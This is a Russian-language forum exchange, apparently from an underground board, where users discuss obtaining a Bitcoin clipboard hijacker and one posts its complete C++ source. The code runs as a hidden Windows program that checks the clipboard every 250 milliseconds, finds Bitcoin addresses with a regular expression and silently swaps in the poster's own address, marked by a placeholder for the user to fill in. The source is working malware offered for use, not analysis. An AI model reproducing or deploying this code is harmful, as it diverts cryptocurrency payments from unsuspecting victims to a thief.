Пожалуйста, обратите внимание, что пользователь заблокирован
где взять, на экспе тишь, кто может?
Я уже писал на экспе, в паблике 1000 сорцев такого дела. Под бтц еще Каими хз в каком году кодил.
где взять, на экспе тишь, кто может?
#include <windows.h>
#include <regex>
using namespace std;
static string Bitcoin = "сюда свой адресс бтц";
char* getClipboardData()
{
char* fromClipboard = nullptr;
if (!OpenClipboard(nullptr))
{
CloseClipboard();
return "";
}
HANDLE hData = GetClipboardData(CF_TEXT);
if (hData == nullptr)
{
CloseClipboard();
return "";
}
char* pszText = static_cast<char*>(GlobalLock(hData));
if (pszText == nullptr)
{
CloseClipboard();
return "";
}
fromClipboard = pszText;
GlobalUnlock(hData);
CloseClipboard();
return fromClipboard;
}
void setClipboardData(string & data)
{
OpenClipboard(nullptr);
EmptyClipboard();
auto hg = GlobalAlloc(GMEM_MOVEABLE, data.size() + 1);
if (!hg) {
CloseClipboard();
return;
}
memcpy(GlobalLock(hg), data.c_str(), data.size() + 1);
GlobalUnlock(hg);
SetClipboardData(CF_TEXT, hg);
CloseClipboard();
GlobalFree(hg);
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
regex re1("(^| )[13][a-km-zA-HJ-NP-Z0-9]{26,34}");
string backup;
while (true)
{
string data = getClipboardData();
if (data == backup)
goto ex;
backup = data;
data = regex_replace(data, re1, Bitcoin);
if (backup != data)
setClipboardData(data);
ex:
Sleep(250);
}
return 0;
}